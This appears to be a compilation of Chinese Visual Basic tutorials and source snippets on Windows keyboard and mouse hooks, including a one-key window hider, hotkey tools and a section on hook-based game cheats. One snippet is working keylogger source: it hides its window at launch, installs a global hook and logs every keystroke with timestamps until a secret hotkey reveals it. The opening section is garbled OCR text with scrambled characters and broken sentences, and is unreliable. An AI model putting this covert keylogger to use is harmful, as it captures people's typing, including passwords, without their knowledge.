VB钩子
基于VB的键盘钩子算法的实现
输入 的运作 ，然 后根据 虚拟键 表判断 按键 的类 型 ， 最 后把 得到的准 确的按键类 型输 出。
２１ 键 盘 工作 流 程 图 （ １ ． 图 ）
少 的一 部分 在使 用计算机 进行操 作的 时候 ， 经常会 使用 到一些快捷 的操作方 式或获取 键盘 的按键 信息 ． 例 如使用 快捷 键来实 现复 制 、粘 贴或 是否 按 了 Ｅ ｃ ｓ、
２ 键 盘 模 块 （ ２ ． ３ 图 ）
机 息 ． 可以强制结 束消息 的传递 。 还 总 ２ 键 盘 钩 子 的 工作 原 理 第
三
一
３ 键 盘 钩 子 实现 算 法
使 用 不 同 的 Ｗ ｉｄｗ Ｐ 函 数 获 取 键 盘 的 动 作 ｎ ｏ ｓＡ Ｉ
固
９ １ ６
簟 麓纛 蠢
Ｔ ｂ 键 ａ Ｓｉ ｔ ｈｆ 键
ｖＫ ｙ ｓａｅ ｂ ｅ ｅ ｃ ｐ ｖ Ｋｙ ￣ ｅ ｂｅ Ｈ ｖＫｙ ｂｅ
ｖＫｙ ｒｎ ｂ ｅＰ ｉ ｔ ｖＫ ｙ ｂ ２ ６ ５ ９ ７
空 格 键 等 操 作 信 息 。 捷 键 具 有 操 作 简单 、 便 、 捷 快 方 快 等优 点 ． 就 需 要 我 们 在 编 写 程 序 代 码 的 过 程 中增 加 这 对 键 盘 的 按 键 进 行 判 断 ． 个 过 程 就 是 所 谓 的 键 盘 钩 这 子 功 能 利 用 Ｖ 在 Ｂ来 编 写 所 需 要 的 应 用 程 序 时 ． 于 由 Ｖ Ｂ无 法 直 接 对 系 统 的 注 册 表 进 行 操 作 对 于 此 类 操
图 １ 键 盘 工 作 流程 图
２２ 键 盘的虚拟键 简表 （ １ ． 表 ）
在 表 １中 ． 一 列 是 系 统 各 个 键 中 的 名 称 ． 二 第 第
VB编程中应用全局钩子实现应用程序的一键隐藏与显示
2011.02电脑编程技巧与维护1问题的引入尝试着将全局钩子技术应用到了VB 编程中，用来实现内存中带有句柄应用程序窗口的一键隐藏与显示，用VB 做如下的界面设计，如图1所示。
界面中的列表框中显示当前内存中运行的所有程序，在此可双击鼠标选择要隐藏的程序，在“隐藏键”后面的下拉式组合列表中选择隐藏程序时的按键，在“显示键”后的下拉式组合列表中选择要显示已被隐藏程序的按键，单击“设置”命令按钮完成设置，可以单击“隐藏到系统托盘”将Tools 窗口隐藏也可以最小化。
当需要隐藏或显示程序时，按设置好的键，即可。
下面将介绍在VB 编程中使用钩子技术实现应用程序的一键隐藏与显示的方法。
2钩子及相关API2.1基本原理钩子的本质是一段用以处理系统消息的程序，通过系统调用，将其挂入到系统。
钩子机制允许应用程序截获并处理发往指定窗口的消息或特定事件，其监视的窗口即可以是本进程内的，也可以是由其他进程所创建的。
在特定的消息发出，并在到达目的窗口之前，钩子程序先行截获此消息并得到对其的控制权。
此时在钩子函数中就可以对截获的消息进行各种修改处理，甚至强行终止该消息的继续传递。
任何一个钩子都有一个由系统来维护的指针列表（钩子链表），其指针指向钩子的各个处理函数。
最近安装的钩子放在链的开始，最早安装的钩子则放在最后。
当钩子监视的消息出现时，操作系统调用链表开始处的第一个钩子处理函数进行处理，也就是说最后加入的钩子优先获得控制权。
因此，为了设置钩子，只需将回调函数放置于链首即可，操作系统会使其首先被调用。
在这里提到的钩子处理函数必须是一个回调函数（callback function ），而且不能定义为类成员函数，必须定义为普通的C 函数。
在使用钩子时可以根据其监视范围的不同将其分为全局钩子和局部钩子两大类，其中局部钩子只能监视某个线程也叫线程钩子，而全局钩子则可对在当前系统下运行的所有线程进行监视。
显然，线程钩子可以看作是全局钩子的一个子集，全局钩子虽然功能强大但其钩子函数的实现必须封装在动态链接库中才可以使用。
简单易学 图文并茂 VB系统钩子与快捷键开发
简单易学图文并茂 系统钩子与快捷键开发创意和设计目标我喜欢将新建目录或者文件以日期打头，这样很方便排序和查找。
如下图：但每次新建目录后，都要手动输入日期。
这很不方便。
于是想到用快捷键了输入这个日期的创意。
目标是每当新建目录或文件后，按下F5键，自动插入当前日期。
为实现这个功能，可使用VB的Sends函数。
但因为需要程序在后台运行，因此打算把程序图标放到右下角的托盘中。
并且，因为它在按下F5键后执行，因此需要从系统中把按键信息捕捉出来，这就要用到系统钩子。
第一步创建一个Windows应用程序因为未来的程序在后台运行，因此它不需要任何界面。
这里把程序默认创建的Form的透明度设为0，把Border设为None，ControlBox设为0，ShowInTaskBar设为0。
这样它就不会在系统底部的状态栏出现了。
在Form上添加一个NotifyIcon，并指定一个喜欢的图标，这样程序在运行的时候，在右下角的托盘会出现一个图标。
之后，可以再加入一个ContextMenuStrip控件，并把它指定给NotifyIcon，这样右键点击图标的时候可以跳出控制菜单。
为方便调试，我在弹出目录中制作了两个功能，一个是显示和隐藏窗口，这个功能可为今后扩展用；一个是关闭功能，点击它可以关闭这个后台程序。
这两个功能不是我们的重点，这里只把代码贴出来。
***************************************************‘这个程序改变窗口的透明度，则窗口可以在桌面上显示和隐藏Private Sub changeShoe(ByVal sender As System.Object, ByVal e As KeyEventArgs)Select Case Me.OpacityCase 1Me.Opacity = 0Case 0Me.Opacity = 1End SelectEnd Sub‘这里将菜单第一项，即“Show Hide”和上述程序绑定起来Public Sub New()' 此调用是设计器所必需的。
VB 钩子详解
Windows钩子函数的概念和实现方法首先我们必须大致了解Windows的基本运作机理，Windows作为一个多任务操作系统，它是分有层次概念的，运行在最底下的称为Ring 0层，在这一层里基本上都是一些硬件驱动程序和Windows的总内核，一般的应用程序极少极少运行在这层，当然也有例外，例如调试软件SoftICE(不过基本上这个软件的作用是Crack软件而不是调试)、还原精灵还有分区魔法大师，就是运行在Ring 0层的，另外就是著名的CIH病毒。
运行在Ring 0级的程序能够对所有硬件进行直接地址级访问，所受到的限制也最小。
消息(Message)传递是Windows独有的一种机制，因为Windows规定运行在Ring 0以上的程序是没有权利知道究竟硬件发生了怎样的中断变化的，Windows统一将这些中断变化封装成一系列的消息(黑箱作业，也就是常说的Black Box)，比如鼠标移动，系统产生一个OnMouseMove消息(但这条消息从何而来，相关的硬件中断向量是什么，程序无从得知)，OnMouseMove这条消息最后送达每一个窗口程序以供处理。
在更高层次的地方，比如说控件级，所有的消息还被封装成一系列“事件”，比如TextBox控件有KeyPress事件，实际上，这些事件都是林林种种的消息映射。
事件的概念使得程序员能够更加傻瓜化地进行编程，但是从另一个角度来说，这种黑箱作业也使得程序员过分依赖系统的安排，限制了程序员的思维，举个例子，Windows为按钮控件封装了大部分常用的属性和事件，完成一般的常规妈作是没有问题的，但是很遗憾，或许是Windows的疏忽，按钮控件的字体颜色永远默认是黑色，而且Windows没有为此提供一个专门的接口来修改，碰到这种情况，程序员就会非常头疼。
钩子函数(Hook Function)，就像一把钩子，它的作用是将消息在抵达窗口程序之前先钩到一个地方以便程序员进行分析，这个地方称为挂接函数链，消息在这里先被一系列的函数处理然后由程序员决定是否交还给Windows系统，在这里，你可以“吞噬”(Lickup)一些你不希望发生的消息，比如说你吞掉所有的键盘消息而不交还给系统，那么键盘将会失灵。
VB_HOOK_使用详解
VB HOOK(钩子)超级无敌详细用法（介绍）hook是WINDOWS提供的一种消息处理机制，它使得程序员可以使用子过程来监视系统消息，并在消息到达目标过程前得到处理。
下面将介绍WINNDOWS HOOKS并且说明如何在WINDOWS 程序中使用它。
关于HOOKS使用HOOK 将会降低系统效率，因为它增加了系统处量消息的工作量。
建议在必要时才使用HOOK，并在消息处理完成后立即移去该HOOK。
HOOK链WINDOWS提供了几种不同类型的HOOKS；不同的HOOK可以处理不同的消息。
例如，WH_MOUSE HOOK用来监视鼠标消息。
WINDOWS为这几种HOOKS维护着各自的HOOK链。
HOOK链是一个由应用程序定义的回调函数队列，当某种类型的消息发生时，WINDOWS向此种类型的HOOK链的第一个函数发送该消息，在第一函数处理完该消息后由该函数向链表中的下一个函数传递消息，依次向下。
如果链中某个函数没有向下传送该消息，那么链表中后面的函数将得不到此消息。
（对于某些类型的HOOK，不管HOOK链中的函数是否向下传递消息，与此类型HOOK联系的所有HOOK函数都会收到系统发送的消息）HOOK过程为了拦截特定的消息，你可以使用SetWindowsHookEx函数在该类型的HOOK 链中安装你自己的HOOK函数。
该函数语法如下：public function MyHook(nCode,wParam,iParam) as long‘加入代码end function其中MyHook可以随便命名，其它不能变。
该函数必须放在模块段。
nCode指定HOOK类型。
wParam,iParam的取值随nCode不同而不同，它代表了某种类型的HOOK的某个特定的动作。
SetWindowsHookEx总是将你的HOOK函数放置在HOOK链的顶端。
你可以使用CallNextHookEx函数将系统消息传递给HOOK链中的下一个函数。
浅谈VB.NET中的跨进程消息钩子（转载）
浅谈中的跨进程消息钩⼦（转载）我们都知道在VB6⾥⾯可以⽤API函数来进⾏⼦类化，以处理⾃⾝的窗体过程；如果跨进程，这就⿇烦了，由于我们的函数在我们的进程中（废话），⽽⽬标进程的窗⼝的消息处理函数在⽬标进程（还是废话），所以只能想办法把我们的代码放到对⽅进程中去执⾏——并且要告知我们的进程得到了什么消息。
恐怕写汇编就有点吓⼈了，于是⼤家都写DLL，其原理就是把回调函数放到⼀个DLL⾥⾯注⼊到对⽅进程，DLL去修改⽬标窗⼝的默认处理函数——把消息发送给我们。
当然也有“另类”⼀点的：上⾯有⼀个DLL包，其中含有⼀个dssubcls.dll，⽤它，可以轻松的完成我们的⼯作：就像调⽤⼀个API⼀样简单，⽽且在我们的程序中使⽤回调函数！呵呵，省去了⾃⼰写DLL的⿇烦之后，这些好处⾜以吸引各位观众了吧？好了，VB6的代码⼤家可以在下载的压缩包中找到，作者提供了⼀个以记事本为基础的实例（在\dssubcls⽬录下），⾮常详细⽆需详细叙述了。
关键是在⾥⾯如何使⽤它——如何声明API，如何进⾏回调，看⽤来⼦类化的API的VB6声明先：Declare Function SubClass& Lib "dssubcls" (ByVal HwndSubclass&, _Optional ByVal Address& = 0, _Optional ByVal OldStyle& = 0, _Optional ByVal NewStyle& = 0, _Optional ByVal Ext& = 0, _Optional ByVal SubClass& = 0)转化成的声明类似下⾯的样⼦（习惯使然，我把&展开成了As Integer）：Declare Function SubClass Lib "dssubcls" (ByVal HwndSubclass As Integer, Optional ByVal Address As Integer = 0, Optional ByVal OldStyle As Integer = 0, Optional ByVal NewStyle As Integer = 0, Optional ByVal Ext As Integer = 0, Optional ByVal SubClass As Integer = 0) As Integer这不是很好嘛？问题来了，这样的声明在VB6⾥⾯可以使⽤Addressof function来传⼊第⼆个参数（参见你下载的源码），但是在⾥⾯直接Addressof就不成了——我们需要委托⼀个回调：Private Delegate Function HookCallBack(ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer这个委托，对应的是以下函数：Private Function mCallback(ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer‘在这⾥处理得到的消息End Function使⽤时，需要注意先实例化这个委托：Private fix_COCD = New HookCallBack(AddressOf mCallback)此时，fix_COCD就是我们的mCallback函数引⽤了，⽤更直观的观点来看，fix_COCD就是⼀个指向mCallback的指针，相当于VB6⾥⾯的Addressof function得到的结果，看似问题解决了，于是我们写了以下代码来搞对⽅的进程窗体消息：SubClass(Handle, fix_COCD, 0, 0, 0, 1) '修改处理函数问题真是接踵⽽⾄！IDE提⽰变量类型不符！！事实确实如此，我们把⼀个HookCallBack类型当做Integer来传递，⽆法通过检查，那么强⾏转换吧？当然，你可以去试试。
用VB实现的全局键盘钩子
用VB实现的全局键盘钩子2010-04-06 13:30代码功能：实时监测Caps Lock、NumLock、Scroll Lock三个按件的状态，并显示在Label1 Label2 Label3三个标签中'.bas模块中Public m_hDllKbdHook As Long 'public variable holding'the handle to the hook procedurePublic Const WH_KEYBOARD_LL As Long = 13 'enables monitoring of keyboard 'input events about to be posted 'in a thread input queuePrivate Const HC_ACTION As Long = 0 'wParam and lParam parameters'contain information about a'keyboard messagePublic Const VK_CAPITAL As Long = &H14Public Const VK_NUMLOCK As Long = &H90Public Const VK_SCROLL As Long = &H91Private Const LLKHF_UP As Long = &H80& 'test the transition-state flagPublic Type KeyboardByteskbByte(0 To 255) As ByteEnd TypePrivate Type KBDLLHOOKSTRUCTvkCode As Long 'a virtual-key code in the range 1 to 254 scanCode As Long 'hardware scan code for the keyflags As Long 'specifies the extended-key flag,'event-injected flag, context code,'and transition-state flagtime As Long 'time stamp for this messagedwExtraInfo As Long 'extra info associated with the messageEnd TypePublic Declare Function SetWindowsHookEx Lib "user32" _Alias "SetWindowsHookExA" _(ByVal idHook As Long, _ByVal lpfn As Long, _ByVal hmod As Long, _ByVal dwThreadId As Long) As LongPublic Declare Function UnhookWindowsHookEx Lib "user32" _(ByVal hHook As Long) As LongPublic Declare Function CallNextHookEx Lib "user32" _(ByVal hHook As Long, _ByVal nCode As Long, _ByVal wParam As Long, _ByVal lParam As Long) As LongPublic Declare Sub CopyMemory Lib "kernel32" _Alias "RtlMoveMemory" _(pDest As Any, _pSource As Any, _ByVal cb As Long)Public Declare Function GetKeyboardState Lib "user32" _(kbArray As KeyboardBytes) As LongPublic Declare Function GetKeyState Lib "user32" _(ByVal nVirtKey As Long) As IntegerPublic Function LowLevelKeyboardProc(ByVal nCode As Long, _ByVal wParam As Long, _ByVal lParam As Long) As Long Dim kbdllhs As KBDLLHOOKSTRUCTIf nCode = HC_ACTION ThenCall CopyMemory(kbdllhs, ByVal lParam, Len(kbdllhs))If (kbdllhs.flags And LLKHF_UP) ThenSelect Case kbdllhs.vkCodeCase VK_NUMLOCKbel1.Visible = (GetKeyState(VK_NUMLOCK) = &HFF81)Case VK_CAPITALbel2.Visible = (GetKeyState(VK_CAPITAL) = &HFF81)Case VK_SCROLLbel3.Visible = (GetKeyState(VK_SCROLL) = &HFF81)Case ElseEnd SelectEnd IfEnd If 'nCode = HC_ACTIONLowLevelKeyboardProc = CallNextHookEx(m_hDllKbdHook, _nCode, _wParam, _lParam)End FunctionForm1中加入3个标签控件Label1、Label2、Label3Form1中的代码Private Sub Form_Load()Dim kbdState As KeyboardBytesCall GetKeyboardState(kbdState)With Label1.Caption = "Numlock is ON".Alignment = vbRightJustifyEnd WithWith Label2.Caption = "Caps lock is ON".Alignment = vbRightJustifyEnd WithWith Label3.Caption = "Scroll lock is ON".Alignment = vbRightJustifyEnd WithLabel1.Visible = kbdState.kbByte(VK_NUMLOCK) = 1Label2.Visible = kbdState.kbByte(VK_CAPITAL) = 1Label3.Visible = kbdState.kbByte(VK_SCROLL) = 1'set and obtain the handle to the keyboard hookm_hDllKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, _AddressOf LowLevelKeyboardProc, _ App.hInstance, _0&)If m_hDllKbdHook = 0 ThenMsgBox "Failed to install low-level keyboard hook."End IfEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)If m_hDllKbdHook <> 0 ThenCall UnhookWindowsHookEx(m_hDllKbdHook)End IfEnd Sub'还有一段可以禁用Ctrl+Esc Alt + Esc Alt+Tab三组热键的Private Const WH_KEYBOARD_LL = 13& 'enables monitoring of keyboard 'input events about to be posted 'in a thread input queuePrivate Const HC_ACTION = 0& 'wParam and lParam parameters 'contain information about a'keyboard messagePrivate Const LLKHF_EXTENDED = &H1& 'test the extended-key flag Private Const LLKHF_INJECTED = &H10& 'test the event-injected flag Private Const LLKHF_ALTDOWN = &H20& 'test the context codePrivate Const LLKHF_UP = &H80& 'test the transition-state flag Private Const VK_TAB = &H9 'virtual key constantsPrivate Const VK_CONTROL = &H11Private Const VK_ESCAPE = &H1BPrivate Type KBDLLHOOKSTRUCTvkCode As Long 'a virtual-key code in the range 1 to 254 scanCode As Long 'hardware scan code for the keyflags As Long 'specifies the extended-key flag,'event-injected flag, context code,'and transition-state flagtime As Long 'time stamp for this messagedwExtraInfo As Long 'extra info associated with the messageEnd TypePrivate Declare Function SetWindowsHookEx Lib "user32" _Alias "SetWindowsHookExA" _(ByVal idHook As Long, _ByVal lpfn As Long, _ByVal hmod As Long, _ByVal dwThreadId As Long) As LongPrivate Declare Function UnhookWindowsHookEx Lib "user32" _(ByVal hHook As Long) As LongPrivate Declare Function CallNextHookEx Lib "user32" _(ByVal hHook As Long, _ByVal nCode As Long, _ByVal wParam As Long, _ByVal lParam As Long) As LongPrivate Declare Sub CopyMemory Lib "kernel32" _Alias "RtlMoveMemory" _(pDest As Any, _pSource As Any, _ByVal cb As Long)Private Declare Function GetAsyncKeyState Lib "user32" _(ByVal vKey As Long) As IntegerPrivate m_hDllKbdHook As Long 'private variable holding'the handle to the hook procedure Public Sub Main()'set and obtain the handle to the keyboard hookm_hDllKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, _AddressOf LowLevelKeyboardProc, _ App.hInstance, _0&)If m_hDllKbdHook <> 0 ThenMsgBox "Ctrl+Esc, Alt+Tab and Alt+Esc are blocked. " & _"Click OK to quit and re-enable the keys.", _vbOKOnly Or vbInformation, _"Keyboard Hook Active"Call UnhookWindowsHookEx(m_hDllKbdHook)ElseMsgBox "Failed to install low-level keyboard hook - " & stDllErrorEnd IfEnd SubPublic Function LowLevelKeyboardProc(ByVal nCode As Long, _ByVal wParam As Long, _ByVal lParam As Long) As LongStatic kbdllhs As KBDLLHOOKSTRUCTIf nCode = HC_ACTION ThenCall CopyMemory(kbdllhs, ByVal lParam, Len(kbdllhs))'Ctrl+Esc --------------If (kbdllhs.vkCode = VK_ESCAPE) And _CBool(GetAsyncKeyState(VK_CONTROL) _And &H8000) ThenDebug.Print "Ctrl+Esc blocked"LowLevelKeyboardProc = 1Exit FunctionEnd If 'kbdllhs.vkCode = VK_ESCAPE'Alt+Tab --------------If (kbdllhs.vkCode = VK_TAB) And _CBool(kbdllhs.flags And _LLKHF_ALTDOWN) ThenDebug.Print "Alt+Tab blocked"LowLevelKeyboardProc = 1Exit FunctionEnd If 'kbdllhs.vkCode = VK_TAB'Alt+Esc --------------If (kbdllhs.vkCode = VK_ESCAPE) And _CBool(kbdllhs.flags And _LLKHF_ALTDOWN) ThenDebug.Print "Alt+Esc blocked"LowLevelKeyboardProc = 1Exit FunctionEnd If 'kbdllhs.vkCode = VK_ESCAPEEnd If 'nCode = HC_ACTIONLowLevelKeyboardProc = CallNextHookEx(m_hDllKbdHook, _ nCode, _wParam, _lParam)End Function。
VB键盘钩子源码：截取一切键盘按键
VB键盘钩子源码：截取一切键盘按键(2011-07-15 10:52:11)转载▼分类：我的VB标签：杂谈1、UI设计：2、程序源码：（1）FrmHook源码Option ExplicitDim WithEvents Hook As ClsHook '创建一个需要事件支持的Hook为模块ClsHookPrivate Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long'根据指定的映射类型，执行不同的扫描码和字符转换'' uCode Long，欲转换的源字符或代码' uMapType Long，控制映射类型，如下所示' 0 —— uCode是个虚拟键码?函数返回相应的扫描码' 1 —— uCode是个扫描码?函数返回相应的虚拟键码' 2—— uCode是个虚拟键码。
函数返回相应的ASCII值（未加Shift组合键）。
针对死键，高位设为1。
如果出错，返回NULL' dwhkl Long，键盘布局的句柄Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long'取得一个句柄，描述指定应用程序的键盘布局' dwLayout ，//欲检查的线程的标识符Private Declare Function GetForegroundWindow Lib "user32" () As LongPrivate Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long'获取与指定窗口关联在一起的一个进程和线程标识符' lpdwProcessId Long，指定一个变量，用于装载拥有那个窗口的一个进程的标识符' hwnd Long，指定窗口句柄Private Sub Form_Load()Set Hook = New ClsHookHook.SetHook'App.TaskVisible = FalseMe.HideEnd SubPrivate Sub Form_Unload(Cancel As Integer)Hook.UnHookSet Hook = NothingEnd SubPrivate Sub Hook_KeyDown(KeyCode As Integer, Shift As Integer) '钩子的KeyDown事件，在模块中我们自己定义的事件KeyDownDim StrCode As StringStrCode = CodeToString(KeyCode)'判断ShiftIf StrCode = "[Shift]" Or StrCode = "[Alt]" Or StrCode = "[Ctrl]" ThenIf Shift = vbAltMask + vbCtrlMask Then StrCode = "[Alt + Ctrl]"If Shift = vbAltMask + vbShiftMask Then StrCode = "[Alt + Shift]"If Shift = vbCtrlMask + vbShiftMask Then StrCode = "[Ctrl + Shift]"If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = "[Ctrl + Shift +Alt]"ElseIf Shift = vbShiftMask Then StrCode = StrCode & " + [Shift]"If Shift = vbCtrlMask Then StrCode = StrCode & " + [Ctrl]"If Shift = vbAltMask Then StrCode = StrCode & " + [Alt]"If Shift = vbAltMask + vbCtrlMask Then StrCode = StrCode & " + [Alt + Ctrl]"If Shift = vbAltMask + vbShiftMask Then StrCode = StrCode & " + [Alt + Shift]"If Shift = vbCtrlMask + vbShiftMask Then StrCode = StrCode & " + [Ctrl + Shift]"If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = StrCode & " + [Ctrl + Shift+Alt]"End If'热键Ctrl+J，呼出窗口If StrCode = "[j] + [Ctrl]" ThenMe.ShowApp.TaskVisible = TrueEnd IfText1.Text = Text1.Text & Now & "------" & StrCode & vbCrLfEnd Sub'把按键码换为StringPrivate Function CodeToString(nCode As Integer) As String Dim StrKey As StringSelect Case nCodeCase vbKeyBack: StrKey = "BackSpace"Case vbKeyTab: StrKey = "Tab"Case vbKeyClear: StrKey = "Clear"Case vbKeyReturn: StrKey = "Enter"Case vbKeyShift: StrKey = "Shift"Case vbKeyControl: StrKey = "Ctrl"Case vbKeyMenu: StrKey = "Alt"Case vbKeyPause: StrKey = "Pause"Case vbKeyCapital: StrKey = "CapsLock"Case vbKeyEscape: StrKey = "ESC"Case vbKeySpace: StrKey = "SPACEBAR"Case vbKeyPageUp: StrKey = "PAGE UP"Case vbKeyPageDown: StrKey = "PAGE DOWN"Case vbKeyEnd: StrKey = "END"Case vbKeyHome: StrKey = "HOME"Case vbKeyLeft: StrKey = "LEFT ARROW"Case vbKeyUp: StrKey = "UP ARROW"Case vbKeyRight: StrKey = "RIGHT ARROW"Case vbKeyDown: StrKey = "DOWN ARROW"Case vbKeySelect: StrKey = "SELECT"Case vbKeyPrint: StrKey = "PRINT SCREEN"Case vbKeyExecute: StrKey = "EXECUTE"Case vbKeySnapshot: StrKey = "SNAPSHOT"Case vbKeyInsert: StrKey = "INS"Case vbKeyDelete: StrKey = "DEL"Case vbKeyHelp: StrKey = "HELP"Case vbKeyNumlock: StrKey = "NUM LOCK"Case vbKey0 To vbKey9: StrKey = Chr$(nCode)Case vbKeyA To vbKeyZ: StrKey = LCase(Chr$(nCode)) 'MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))Case vbKeyF1 To vbKeyF16: StrKey = "F" & CStr(nCode - 111)Case vbKeyNumpad0 To vbKeyNumpad9: StrKey = "Numpad " & CStr(nCode - 96)Case vbKeyMultiply: StrKey = "Numpad {*}"Case vbKeyAdd: StrKey = "Numpad {+}"Case vbKeySeparator: StrKey = "Numpad {ENTER}"Case vbKeySubtract: StrKey = "Numpad {-}"Case vbKeyDecimal: StrKey = "Numpad {.}"Case vbKeyDivide: StrKey = "Numpad {/}"Case ElseStrKey = Chr$(MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))) End SelectCodeToString = "[" & StrKey & "]"End FunctionPrivate Sub text1_Change()Text1.SelStart = Len(Text1.Text)End Sub（2）ModHook源码Option ExplicitPublic Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As LongPublic Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)Public OldHook As Long '全局变量OldHook存储钩子句柄Public LngClsPtr As Long '保存对象地址'回调函数Public Function BackHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As LongIf nCode < 0 Then '如果nCode小于0，上次就说过喽，小于0代表没有拦截到键盘消息;当nCode为0的时候，所有的键盘消息都将被拦截，BackHook = CallNextHookEx(OldHook, nCode, wParam, lparam) 'wParam为消息的种类（种类知道吧？KeyDown ……）lparam存储了拦截到的消息；没有拦截到消息只好呼叫下个钩子Exit FunctionEnd IfResolvePointer(LngClsPtr).RiseEvent (lparam) '得到消息的地址'处理过后一定要将消息归还给系统，难免还有别人要这个消息呢？Call CallNextHookEx(OldHook, nCode, wParam, lparam)End Function'得到对象的地址Private Function ResolvePointer(ByVal lpObj As Long) As ClsHookDim oSH As ClsHookCopyMemory oSH, lpObj, 4&Set ResolvePointer = oSHCopyMemory oSH, 0&, 4&End Function（3）ClsHook源码：Option Explicit '声明,在VB中，开头使用声明可以减少很多的错误Public Event KeyDown(KeyCode As Integer, Shift As Integer) '自定义事件KeyDownPrivate Type EVENTMSG '定义事件消息的类型wMsg As Long '消息lParamLow As LonglParamHigh As LongmsgTime As Long '消息时间hWndMsg As Long '消息句柄End Type'Private Const WH_GETMESSAGE As Long = 3Private Const WH_JOURNALRECORD = 0Private Const WM_KEYDOWN = &H100Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long 'dwThreadId监控代码,0为全局钩子Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer Public Sub SetHook()OldHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf BackHook, App.hInstance, 0) End SubPublic Sub UnHook()Call UnhookWindowsHookEx(OldHook)End SubFriend Function RiseEvent(ByVal lparam As Long) As LongDim Msg As EVENTMSGDim IntShift As Integer 'ShiftDim IntCode As Integer 'KeyCodeCopyMemory Msg, ByVal lparam, Len(Msg) '利用指针技术将消息从lparam中的数据拷贝到Msg的地址中,简单的说就是把lparam的数据赋值给MsgIntShift = 0Select Case Msg.wMsg '检查消息状态Case WM_KEYDOWN '如果消息的事件为KeyDown（键盘按下）'得到Shift,Ctrl,Alt的按键状态If GetAsyncKeyState(vbKeyShift) Then IntShift = (IntShift Or 1)If GetAsyncKeyState(vbKeyControl) Then IntShift = (IntShift Or 2)If GetAsyncKeyState(vbKeyMenu) Then IntShift = (IntShift Or 4)IntCode = Msg.lParamLow And &HFF '得到KeyCode（及按键码）RaiseEvent KeyDown(IntCode, IntShift) 'RaiseEvent 引发模块(ClsHook)中声明的事件KeyDownEnd SelectEnd FunctionPrivate Sub Class_Initialize() '初始化类LngClsPtr = ObjPtr(Me) 'ObjPtr，返回对象的地址，将本类的存储地址返回给变量LngClsPtrEnd Sub3、软件运行效果：运行后自动隐藏，按ctrl+j调出程序显示：。
vB全局Hook鼠标钩子
VB 全局Hook鼠标钩子，获取鼠标单击左键、鼠标坐标位置等。
以下是鼠标的按键消息：form:VBScript code复制代码Private Sub Form_Load()HooKEnd SubPrivate Sub Form_Unload(Cancel As Integer)UnHooKEnd SubModule:VBScript code复制代码Private Declare Function CallNextHookEx Lib "user32" _(ByVal hHook As Long, _ByVal nCode As Long, _ByVal wParam As Long, _lParam As Any) As LongPrivate Declare Function SetWindowsHookEx Lib "user32" _ Alias "SetWindowsHookExA" _(ByVal idHook As Long, _ByVal lpfn As Long, _ByVal hmod As Long, _ByVal dwThreadId As Long) As LongPrivate Declare Function UnhookWindowsHookEx Lib "user32" _ (ByVal hHook As Long) As LongPrivate Declare Sub CopyMemory Lib "kernel32" _Alias "RtlMoveMemory" _(Destination As Any, _Source As Any, _ByVal Length As Long)Private Type POINTAPIx As Longy As LongEnd TypePrivate Type MSLLHOOKSTRUCTpt As POINTAPImouseData As LongFlags As Longtime As LongdwExtraInfo As LongEnd TypePrivate Const WM_LBUTTONUP = &H202Private Const WH_MOUSE_LL = 14Private hHook As LongPublic Function MouseHook(ByVal nCode As Long, _ ByVal wParam As Long, _ByVal lParam As Long) As LongDim mhs As MSLLHOOKSTRUCT, pt As POINTAPIIf wParam = WM_LBUTTONUP ThenCall CopyMemory(mhs, ByVal lParam, LenB(mhs))pt = mhs.ptCall CopyMemory(p, ByVal lParam, Len(p))Debug.Print "左键单击坐标:" & pt.x & " "; pt.yEnd IfCall CallNextHookEx(hHook, nCode, wParam, lParam)End FunctionPublic Sub HooK()hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MouseHook, App.hInstance, 0)End SubPublic Sub UnHooK()Call UnhookWindowsHookEx(hHook)End Sub。
VB外挂之HOOK技术的最详细教程
vb外挂之HOOK技术终极详细解说By：史上最大小强很多学习vb的人都想学习外挂及hook，我在网上也找到了一段程序，后台键盘记录外挂，其实网上大多数流传的HOOK代码都跟这段代码几乎一个出处。
网上有关于这些代码的解释，但是关键部分根本就没解释，等于没说。
下面的程序解释得很详细。
有的地方全属个人看法，不过还是值得一看。
不对的地方欢迎大家指出。
当然，高手勿笑。
好吧，正式我们的hook学习。
Hook并不神秘，它说到底就是通过调用API函数在消息队列中安装钩子，实现截获消息，处理消息的功能。
在这里，我浅浅的讲讲windows的消息机制。
比如，我们按键盘的某个键时，系统就会生成一个消息到系统的消息队列，系统再发送到应用程序消息队列中，windows有不同的消息队列。
对于键盘钩子，是安装在系统的消息队列中。
看程序：（以下程序在模块中，呵呵，工程-----添加模块）Option Explicit ‘强制性变量声明，不允许出现未声明的变量。
呵呵，都懂！！Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer‘Getkeystate是api函数，顾名思义，获取某个键的状态，参数nvirtkey就是某个键的虚拟键键码，不同的系统虚拟键码不同。
比如vbkeycontrol或者vbkeyshift就可以作为参数。
